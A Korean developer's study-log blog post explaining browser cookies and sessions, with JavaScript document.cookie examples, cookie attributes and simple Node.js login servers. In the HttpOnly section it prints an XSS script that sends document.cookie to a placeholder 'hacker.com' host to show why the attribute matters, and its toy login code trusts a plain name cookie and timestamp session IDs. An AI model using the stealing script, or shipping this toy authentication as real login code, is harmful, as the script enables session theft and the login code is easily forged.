[TIL] 2025/04/29

원민관·2025년 4월 29일

[TIL]

목록 보기
174/201
post-thumbnail

1. Cookie란? ✍️

웹이 처음 등장했을 때, 서버는 사용자의 '이전' 요청이나 방문 '이력'을 전혀 기억하지 못했습니다. 매번 새로 요청하고, 새로 응답하는 방식이었죠. 이러한 특성을 업계에서는 stateless(무상태)하다고 표현합니다. 웹은 그저 텍스트나 이미지 등의 파일이 하이퍼링크(hyperlink)로 연결된 거미줄 형태에 불과했죠. 나무위키를 생각해 보면 직관적으로 이해가 됩니다.

이런 구조에서는 로그인 유지, 장바구니 정보 저장, 방문자 추적 같은 기능을 구현할 수 없었습니다. 이를 해결하기 위해 1994년, 넷스케이프의 개발자 루 몬틀리(Lou Montulli)는 사용자 정보를 브라우저에 저장하고 서버에 함께 보내는 방식, 즉 쿠키(cookie)를 고안했습니다.

이를테면, 헤어지자고? 너 누군데? 같은 상황입니다. 우리가 자주 사용하는 크롬과 같은 브라우저 자체는 상태를 기억하지 않습니다. 이때, 쿠키에 대상에 대한 간략한 정보가 저장되어 있다면, 해당 쿠키를 서버 요청 시 함께 전송하여, "무슨 그런 얘기를 코딩할 때 하니?"라고 할 수 있는 것이지요.

1-1. 쿠키와 세션의 차이는? ✅

어떠한 개념을 공부하고자 할 때에는 용어 정의에 총력을 다해야 합니다. 쿠키와 세션은 모두 웹에서 사용자의 상태를 기억하기 위한 방식입니다. 다만, 쿠키포스트잇이라면 세션포스트잇을 활용하는 방식에 가깝습니다.

우리가 코딩을 하거나 공부를 할 때 포스트잇을 활용하곤 하는데요, 포스트잇에 원 자료의 내용을 그대로 옮겨 적는 경우는 드뭅니다. 키워드나 핵심 플로우를 간략하게 적어놓곤 하죠. 세션 방식쿠키라는 포스트잇에 세션 ID를 적어놓는 방식입니다. 진짜 정보는 서버에 위치하고, 브라우저에서 서버로 요청을 보낼 때 쿠키를 보내면, 서버에서는 쿠키 안에 들어있는 세션 ID를 확인한 뒤, 해당 ID에 일치하는 정보를 반환하게 되는 것이지요.

1-2. 브라우저에서 쿠키 확인하는 법 ✅

개발자 도구의(윈도우: F12, 맥: command+option+i), Application 탭 Cookies에서 쿠키를 확인할 수 있습니다.

쿠키에 대한 컨셉은 이해했으니, 구체적으로 쿠키를 어떻게 다룰 수 있는지 살펴보겠습니다.

2. 자바스크립트로 Cookie 다루기 ✍️

2-1. 자바스크립트 쿠키 문법 ✅

자바스크립트로 쿠키를 다루는 방법에 대해 확인해 보겠습니다.

2-1-1. read ⚙️

document.cookie의 반환값을 변수 x에 저장하면, name=value 쌍으로 구성되어 있고 각 쌍은 세미콜론으로 구분되어 있음을 확인할 수 있습니다. 이때, 쌍 하나는 하나의 독립된 쿠키를 나타냅니다. 세미콜론을 기준으로 document.cookie의 값을 분리하면 원하는 쿠키를 찾을 수 있겠지요.

var x = document.cookie; // cookie1=value1; cookie2=value2;...

한마디로, document.cookie의 반환값을 변수에 저장함으로써 쿠키를 읽을 수 있습니다.

2-1-2. write ⚙️

다음으로 쿠키를 작성하는 방법에 대해 알아보겠습니다. Name이 user고, Value가 John인 쿠키를 추가하고자 합니다.

document.cookie = "user=John; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT"

document.cookie에 직접, user라는 key와 John이라는 value로 구성된 프로퍼티를 할당합니다. 속성값으로 path와 expires를 설정해서 추가한 모습을 확인할 수 있는데요, 이에 대해서는 쿠키 파라미터 파트에서 더욱 자세히 설명하겠습니다.

2-1-3. create ⚙️

// document.cookie = "쿠키이름=쿠키값"
document.cookie = "username = 홍길동";


// 만료기간을 넣어서 쿠키가 자동 만료 되도록 제작할 수 있다.(UTC time을 이용)
document.cookie = "username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 UTC";


// 파라미터를 이용하여 쿠키가 어디 브라우저에 속할 수 있을지 알려줄 수 있다.
document.cookie = "username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 UTC; path=/";

create는 write와 본질적으로 다르지 않습니다. 기존 쿠키가 있을 때 쿠키를 추가하는 상황이라면 write고, 최초로 쿠키를 wirte 하는 상황이라면 create로 봅니다.

2-1-4. change ⚙️

change는 기존의 쿠키 정보를 update 하는 역할을 수행합니다. 그런데 만약 기존에 존재하지 않는 속성을 change 한다면 사실상 write와 다를 바 없습니다.

추가적으로, 정확히 기존 쿠키를 덮어쓰려면 옵션까지 동일하게 맞추는 게 안전하겠습니다.

document.cookie = "user=민관";

2-1-5. delete ⚙️

쿠키를 삭제하기 위해서는, 만료 기간을 과거로 바꾸어 버리면 됩니다. 단, 쿠키 요소를 삭제할 때 반드시 path를 맞춰야 합니다.

document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";

그런데 일반적으로 위와 같은 방식으로 쿠키를 삭제하지는 않을 것 같습니다.

// max-age 사용

// 1시간 뒤에 쿠키가 삭제됩니다.
document.cookie = "max-age=3600";

// 만료 기간을 0으로 지정하여 쿠키를 바로 삭제함
document.cookie = "max-age=0";

max-age 속성을 사용하여, 쿠키가 언제 삭제되어야 할지 명시적으로 설정하는 방식을 주로 사용할 것 같습니다.

쿠키의 한계 🚨
encodeURIComponent로 인코딩한 이후의 name=value 쌍은 4KB를 넘을 수 없습니다. 용량을 대략적으로 계산해 보면, 도메인 하나당 저장할 수 있는 쿠키의 개수는 20여 개 정도로 한정되어 있습니다. 개수는 브라우저에 따라 조금씩 다를 수 있으니 참고하세요.

2-2. 쿠키 파라미터 ✅

쿠키 파라미터란, 쿠키 설정 시 함께 지정하는 추가 옵션들로, 쿠키의 수명, 보안, 전송 조건 등을 조절할 수 있게 해주는 설정입니다.

2-2-1. Name 속성과 Value 속성 ⚙️

Name과 Value 속성은 데이터를 저장하고 읽는 데 사용하는 속성입니다. Name과 Value 속성이 그 자체로 쿠키라고 볼 수 있으니 반드시 작성해야겠죠.

document.cookie = "user=John"

2-2-2. Expires 속성 ⚙️

Expires 속성은 쿠키의 파기 날짜를 지정하는 속성입니다. Expires 속성에는 GMT 형식이나 UTC 형식으로 날짜를 입력해야 합니다. GMT는 해가 지지 않는 나라, 영국의 그리니치 천문대 기준의 형식이고, UTC는 세계 협정시(국제 표준 기준)입니다.

참고로 아래 코드는 GMT 형식으로 작성되었습니다. HTTP 쿠키 표준인 RFC 6265에서 Expires는 RFC 1123(GMT) 형식으로 작성하도록 명시되어 있습니다. 쿠키가 1994년 넷스케이프(Netscape)에서 처음 도입될 당시, 대부분의 브라우저가 Expires=Wed, 21 Oct 2025 07:28:00 GMT 같은 형식만 이해했기 때문입니다. 알쓸개잡(알아두면 쓸데없는 개발 잡지식이라는 뜻)이었습니다.

document.cookie = "user=John; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT"

2-2-3. max-age 속성 ⚙️

max-age는 expires 옵션의 대안으로, 쿠키 만료 기간을 설정할 수 있게 해줍니다. 대안이라고 표현한 데에는 몇 가지 이유가 있습니다.

expires는 절대 시간이기 때문에 클라이언트와 서버의 시계가 다르면 만료 타이밍에 문제가 생길 수 있습니다. max-age는 상대 시간(초 단위)으로, "지금부터 몇 초 후"로 명확해서 훨씬 안정적이라고 볼 수 있습니다. expires는 주로 레거시 호환용으로 사용될 가능성이 높겠습니다.

// 1시간 뒤에 쿠키가 삭제
document.cookie = "user=John; max-age=3600";

// 만료 기간을 0으로 지정하여 쿠키를 바로 삭제
document.cookie = "user=John; max-age=0";

2-2-4. Secure 속성 ⚙️

Secure 속성을 지정하면 해당 쿠키는 SSL을 사용해서만 요청할 수 있습니다.

SSL은 Secure Sockets Layer로, 데이터를 암호화하여 해킹으로부터 안전하게 웹 사이트 데이터를 주고받을 수 있도록 돕는 기술입니다. HTTPS는 이러한 SSL 암호화 방식이 적용된 프로토콜입니다. 쿠키에 Secure 속성을 추가하게 되면, HTTP에서는 쿠키가 서버로 전송되지 않고, HTTPS 연결을 통해서만 쿠기가 전달됩니다.

중간자 공격(MITM)이나 스니핑(Sniffing)으로부터 쿠키 탈취를 보호하기 위해 추가하는 속성이라고 이해하면 되겠습니다.

document.cookie = "user=John; Secure"

2-2-5. Domain 속성 ⚙️

쿠키는 도메인에 따라 제한됩니다. 즉, 네이버가 준 쿠키는 네이버에만 보내지게 됩니다.

Domain 속성을 추가하지 않으면, 현재 도메인의 경로로 자동 입력됩니다. 페이지 요청과 비교해서 도메인의 경로와 Domain 속성이 일치하지 않으면, 쿠키에 접근하는 것을 막게 됩니다.

document.cookie = "user=John; Domain=.naver.com"

2-2-6. Path 속성 ⚙️

Domain 속성과 마찬가지로, Path 속성도 쿠키의 유효 범위를 정의합니다. 다만 그 적용 방식과 범위에서 중요한 차이가 있습니다.

document.cookie = "user=John; path=/user"

위와 같은 경로를 작성하면, 쿠키는 /user 경로 이하에서만 접근이 가능하게 됩니다. /home과 같은 경로에서는 쿠키에 접근할 수 없겠죠. Path를 지정하지 않으면 path=/로 간주되어, 전체 사이트에서 쿠키에 접근할 수 있게 됩니다.

Domain이 쿠키의 유효 범위를 도메인 단위로 지정한다면, Path는 경로 단위로 쿠키의 유효 범위를 지정하게 됩니다. Path 속성을 통해 쿠키의 접근 경로의 범위를 좁히면 보안성은 더욱 강화될 것입니다.

2-2-7. HttpOnly 속성 ⚙️

HttpOnly 속성을 적용하면, JavaScript(이하 JS)로 쿠키에 접근할 수 없습니다. 쿠키 조작을 방지하기 위해, 설정하는 것이 좋습니다. 더 엄밀히 따지면 브라우저의 JS 코드(document.cookie)로 쿠키를 읽거나 수정하는 것을 아예 막는 기능입니다.

HttpOnly는 XSS(교차 사이트 스크립팅) 공격을 방어하기 위해 사용합니다.

<script>
  fetch("http://hacker.com/steal?cookie=" + document.cookie);
</script>

중딩이 이런 식으로, 사용자의 쿠키를 document.cookie로 읽어 중딩 해커 서버로 전송할 수 있습니다. 더욱이 세션 ID가 탈취되면 사용자의 로그인 세션을 가로채 사용할 수 있게 되겠죠.

document.cookie = "user=John; httpOnly"

그런데 이상하지 않나요? 위 코드는 실제로 httpOnly를 적용할 수 없습니다. 왜냐하면 브라우저의 JS 코드이기 때문이죠. HttpOnly는 서버Set-Cookie 응답 헤더로 설정하는 것입니다. Express.js라면 다음과 같이 서버에서 설정할 수 있습니다.

res.cookie('user', 'John', { httpOnly: true });

하지만 여전히 풀리지 않은 궁금증이 있습니다. 위에 작성된 코드, JS 아닙니까?

JS가 맞습니다. 다만 실행되는 위치가 브라우저가 아닌 서버(Node.js, Express.js 같은)라는 점이 핵심입니다.

httpOnly는 해커가 '브라우저'에서 JS를 사용하는 것을 막기 위해 적용하는 속성입니다. 따라서 서버에서 JS를 통해 httpOnly를 Set-Cookie 응답 헤더에 설정하는 것은 문제가 되지 않습니다.

1)document.cookie가 브라우저가 쿠키를 조작하는 방법이라면, 2)res.cookie()는 서버가 브라우저에 쿠키를 심는 방법입니다. httpOnly는 결국 1번에 대한 방지인 것입니다.

2-3. 쿠키 함수 라이브러리 ✅

쿠키의 동작을 모듈화한, 헬퍼 함수들이 있습니다. 다양한 라이브러리에서 다음과 같은 로직이 데코레이터 형식으로 구현되어 있다는 사실을 보여주는 예시입니다.

2-3-1. @get ⚙️

function getCookie(name) {
  let matches = document.cookie.match(new RegExp(
    "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
  ));
  return matches ? decodeURIComponent(matches[1]) : undefined;
}

주어진 이름의 쿠키를 반환하는 헬퍼 함수입니다. 조건에 맞는 쿠기가 없다면 undefined를 반환합니다.

2-3-2. @set ⚙️

function setCookie(name, value, options = {}) {

  // 기본 옵션 설정 (path는 기본적으로 루트로 설정)
  options = {
    path: '/', 
    ...options // 전달된 옵션으로 덮어쓰기
  };

  // 만약 expires가 Date 객체라면 UTC 문자열로 변환
  if (options.expires instanceof Date) {
    options.expires = options.expires.toUTCString(); 
  }

  // 쿠키 이름과 값을 URI 인코딩하여 초기 쿠키 문자열 생성
  let updatedCookie = encodeURIComponent(name) + "=" + encodeURIComponent(value);

  // 옵션들을 쿠키 문자열에 추가
  for (let optionKey in options) {
    updatedCookie += "; " + optionKey;
    let optionValue = options[optionKey];
    if (optionValue !== true) { // 값이 true가 아닌 경우에만 =value 추가
      updatedCookie += "=" + optionValue;
    }
  }

  // 쿠키를 실제로 설정
  document.cookie = updatedCookie; 
}

// 쿠키가 아직 설정되지 않았다면 'expires' 쿠키 생성
if (!document.cookie) {
   setCookie('expires', date.toUTCString()); // date 변수는 사전에 정의되어야 함
   console.log('new Cookie created !');
}

// 'user'라는 이름의 쿠키를 생성 (보안 연결에서만 전송되며, 1시간 동안 유지)
setCookie('user', 'John', {secure: true, 'max-age': 3600});

2-3-3. @delete ⚙️

// 해당 쿠키 요소만 삭제
function deleteCookie(name) { 
  setCookie(name, "", {
    'max-age': -1
  })
}

2-3-4. @deleteAll ⚙️

function deleteAllCookies() {
   var cookies = document.cookie.split(";");
   for (var i = 0; i < cookies.length; i++) {
      var cookie = cookies[i];
      var eqPos = cookie.indexOf("=");
      var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;
      deleteCookie(name.trim());
   }
   console.log('all cookies deleted !')
}

3. Cookie와 Session 다루기 ✍️

Node.js 코드를 이해해 보겠습니다.

3-1. 쿠키 전송 서버 이해하기 ✅

const http = require('http');

http
   .createServer((req, res) => {
      console.log(req.url, req.headers.cookie);
      
      res.writeHead(200, { 'Set-Cookie': 'mycookie=test' });
      res.end('Hello Cookie');
   })
   .listen(8084, () => {
      console.log(111);
   });

Node.js의 내장 http 모듈을 이용해 8084 포트에서 HTTP 서버를 생성합니다. 클라이언트로부터 요청이 들어오면, 요청 URL과 쿠키를 콘솔에 출력합니다. 이후 응답 헤더에 Set-Cookie를 설정하여 브라우저에게 쿠키 저장을 요청하게 됩니다. 쿠키를 전송하는 가장 기본적인 형태의 서버 로직입니다.

브라우저 개발자 도구를 확인하면, 쿠키가 저장되었음을 확인할 수 있습니다.

3-2. 쿠키 로그인 로직 이해하기 ✅

<!DOCTYPE html>
<html>
   <head>
      <meta charset="utf-8" />
      <title>쿠키&세션 이해하기</title>
   </head>
   <body>
      <form action="/login"> <!-- get 요청 --> 
         <input id="name" name="name" placeholder="이름을 입력하세요" />
         <button id="login">로그인</button>
      </form>
   </body>
</html>

cookie.html이 있다고 가정합시다. 사용자가 이름을 입력하고 로그인 버튼을 클릭하면, /login 경로로 Get 요청을 보내게 됩니다.

const http = require('http');  // 1. HTTP 서버 모듈을 임포트
const fs = require('fs').promises;  // 2. 비동기 파일 시스템 모듈을 임포트
const url = require('url');  // 3. URL 파싱 모듈을 임포트
const qs = require('querystring');  // 4. 쿼리 문자열을 파싱하는 모듈을 임포트

// 5. 쿠키 문자열을 자바스크립트 객체로 변환하는 함수
const parseCookies = (cookie = '') =>
   cookie
      .split(';')  // 5.1. 쿠키 문자열을 ';' 기준으로 분리
      .map(v => v.split('='))  // 5.2. 각 쿠키를 '=' 기준으로 분리
      .reduce((acc, [k, v]) => {  // 5.3. 각 쿠키의 키와 값을 객체에 저장
         acc[k.trim()] = decodeURIComponent(v);  // 5.4. 키와 값의 공백을 제거하고, 값은 디코딩
         return acc;
      }, {});

// 6. HTTP 서버 생성 및 요청 처리
http.createServer(async (req, res) => {
   
   // 7. 먼저 저장되어있는 쿠키가 있는지 없는지 검사
   const cookies = parseCookies(req.headers.cookie);  // 7.1. 요청 헤더에서 쿠키를 객체로 변환

   // 8. 주소가 /login으로 시작하는 경우
   if (req.url.startsWith('/login')) {  // 8.1. /login 경로로 시작하는 요청이 있을 때

      // 9. 쿼리 문자열을 파싱
      const { query } = url.parse(req.url);  // 9.1. URL을 객체로 만들어 query 부분을 추출
      const { name } = qs.parse(query);  // 9.2. query 값을 객체로 변환하여 name 값을 추출

      // 10. 쿠키 유효 시간을 현재시간 + 5분으로 설정
      const expires = new Date();  
      expires.setMinutes(expires.getMinutes() + 5);  // 10.1. 쿠키 만료 시간을 현재 시간 + 5분으로 설정

      // 11. 쿠키를 설정하고 로그인 후 리다이렉트
      res.writeHead(302, {
         Location: '/',  // 11.1. 로그인 후 /로 리다이렉트
         'Set-Cookie': `name=${encodeURIComponent(name)}; Expires=${expires.toGMTString()}; HttpOnly; Path=/`,  // 11.2. 쿠키 설정 (HttpOnly 보안 설정)
      });
      res.end();  // 11.3. 응답 종료

   // 12. name이라는 쿠키가 있는 경우, 로그인 된 사용자로 간주
   } else if (cookies.name) {  // 12.1. 쿠키에 name이 있으면 로그인된 사용자로 간주
      res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' });  // 12.2. 성공적으로 응답 헤더 설정
      res.end(`${cookies.name}님 안녕하세요`);  // 12.3. 쿠키에서 name을 가져와 인사 메시지 전송

   // 13. 쿠키가 비었을 경우, 로그인 페이지 HTML을 띄움
   } else {  // 13.1. 쿠키가 없으면 로그인 페이지를 표시
      try {
         const data = await fs.readFile('./cookie.html');  // 13.2. 로그인 페이지 HTML 파일을 읽어들임
         res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });  // 13.3. 응답 헤더 설정
         res.end(data);  // 13.4. HTML 파일을 응답으로 전송
      } catch (err) {
         res.writeHead(500, { 'Content-Type': 'text/plain; charset=utf-8' });  // 13.5. 파일 읽기 실패 시 500 오류 처리
         res.end(err.message);  // 13.6. 에러 메시지를 응답으로 전송
      }
   }
})
.listen(8084, () => {  // 14. 서버가 8084번 포트에서 대기
   console.log('8084번 포트에서 서버 대기 중입니다!');  // 14.1. 서버 시작 메시지 출력
});

3-3. 세션 사용 이해하기 ✅

const http = require('http');  // 1. HTTP 서버 모듈을 임포트
const fs = require('fs').promises;  // 2. 비동기 파일 시스템 모듈을 임포트
const url = require('url');  // 3. URL 파싱 모듈을 임포트
const qs = require('querystring');  // 4. 쿼리 문자열을 파싱하는 모듈을 임포트

// 5. 쿠키 문자열을 자바스크립트 객체로 변환하는 함수
const parseCookies = (cookie = '') =>
  cookie
    .split(';')  // 5.1. 쿠키 문자열을 ';' 기준으로 분리
    .map(v => v.split('='))  // 5.2. 각 쿠키를 '=' 기준으로 분리
    .reduce((acc, [k, v]) => {  // 5.3. 각 쿠키의 키와 값을 객체에 저장
      acc[k.trim()] = decodeURIComponent(v);  // 5.4. 키와 값의 공백을 제거하고, 값은 디코딩
      return acc;
    }, {});

// 6. 세션 데이터 저장용 객체
const session = {};  // 6.1. 세션을 저장할 빈 객체 생성

// 7. HTTP 서버 생성 및 요청 처리
http.createServer(async (req, res) => {

  // 8. 요청에 포함된 쿠키를 객체로 변환
  const cookies = parseCookies(req.headers.cookie);  // 8.1. 요청 헤더에서 쿠키를 객체로 변환

  // 9. /login 경로로 요청이 시작되면 실행
  if (req.url.startsWith('/login')) {  // 9.1. /login 경로로 요청이 시작되는 경우

    // 10. URL에서 쿼리 부분을 추출하고, 그 중 name을 가져옴
    const { query } = url.parse(req.url);  // 10.1. URL을 객체로 만들어 query 부분을 추출
    const { name } = qs.parse(query);  // 10.2. 쿼리 문자열을 객체화하고, name을 추출

    // 11. 쿠키의 만료 시간을 5분으로 설정
    const expires = new Date();  // 11.1. 현재 시간으로부터 5분 후로 만료 시간 설정
    expires.setMinutes(expires.getMinutes() + 5);  // 11.2. 만료 시간을 5분 후로 설정

    // 12. 고유한 세션 키 생성
    const uniqueInt = Date.now();  // 12.1. 현재 시간을 밀리초로 변환하여 고유한 세션 키 생성

    // 13. 세션 객체에 세션 데이터 저장
    session[uniqueInt] = {  // 13.1. 세션 객체에 고유 키를 사용하여 name과 expires를 저장
      name,
      expires,
    };

    // 14. 쿠키에 세션 정보를 저장하고 리다이렉트
    res.writeHead(302, {
      Location: '/',  // 14.1. 로그인 후 /로 리다이렉트
      'Set-Cookie': `session=${uniqueInt}; Expires=${expires.toGMTString()}; HttpOnly; Path=/`,  // 14.2. 브라우저에 고유한 세션 값과 만료 시간 포함한 쿠키 설정
    });
    res.end();  // 14.3. 응답 종료

  // 15. 세션 쿠키가 존재하고, 세션 데이터가 만료되지 않았다면
  } else if (cookies.session && session[cookies.session].expires > new Date()) {  // 15.1. 쿠키에서 세션을 찾고, 세션의 만료 시간이 지나지 않은 경우
    res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' });  // 15.2. 성공적인 응답 헤더 설정
    res.end(`${session[cookies.session].name}님 안녕하세요`);  // 15.3. 세션 객체에서 name을 가져와 인사 메시지 전송

  // 16. 쿠키가 없거나 만료된 경우 로그인 페이지 HTML을 띄움
  } else {  // 16.1. 쿠키가 없거나 세션이 만료된 경우 로그인 페이지를 표시
    try {
      const data = await fs.readFile('./cookie2.html');  // 16.2. 로그인 페이지 HTML 파일을 읽어들임
      res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });  // 16.3. 응답 헤더 설정
      res.end(data);  // 16.4. HTML 파일을 응답으로 전송
    } catch (err) {
      res.writeHead(500, { 'Content-Type': 'text/plain; charset=utf-8' });  // 16.5. 파일 읽기 실패 시 500 오류 처리
      res.end(err.message);  // 16.6. 에러 메시지를 응답으로 전송
    }
  }
})
.listen(8085, () => {  // 17. 서버가 8085번 포트에서 대기
  console.log('8085번 포트에서 서버 대기 중입니다!');  // 17.1. 서버 시작 메시지 출력
});

이제 세션이라는 이름과 세션 ID가 저장됩니다. 세션 ID를 통해 정보를 조회할 수 있게 되었습니다.

개인화를 강화할 수 있는 핵심적인 기능을 수행하는 '쿠키'에 대해 알아봤습니다. 더 나아가 안전한 인증 기능을 구현하기 위한 '세션 방식'에 대해서도 알아봤습니다.

인증은 개인화의 중요한 부분입니다. hash, salt, key stretching 등의 개념을 이해하고, bcrypt 같은 라이브러리도 학습하는 시간이 필요합니다. 또한 쿠키를 활용해 언어 설정이나 다크 모드와 같은 '개인화된 사용자 경험'에 대한 구현을 해보는 과정도 필요합니다. 쿠키 외에도 브라우저의 정보를 저장할 수 있는 localStorage나 IndexedDB와 같은 기술이 있으니, 이에 대해서도 공부하는 것이 좋겠습니다.

처음부터 완벽하게 다 알 수는 없습니다. 다만 오늘 학습하기로 한 부분에 대해서는 최선을 다해야 합니다. 그 시간이 쌓이면 어느새 실력이 올라있을 테니까요. 생각은 늘 크고 넓게 갖되, 행동은 작은 범위에서 완벽하게 해내는 우리가 되어야겠습니다.

참고 문헌
reference: https://inpa.tistory.com/178#cookie%EB%9E%80?
reference: https://inpa.tistory.com/entry/NODE-%F0%9F%93%9A-%EC%BF%A0%ED%82%A4-%EC%84%B8%EC%85%98-%EB%8B%A4%EB%A3%A8%EA%B8%B0#%EC%BF%A0%ED%82%A4_%EC%A0%84%EC%86%A1_%EC%84%9C%EB%B2%84_%EB%A7%8C%EB%93%A4%EA%B8%B0

profile
Write a little every day, without hope, without despair ✍️

0개의 댓글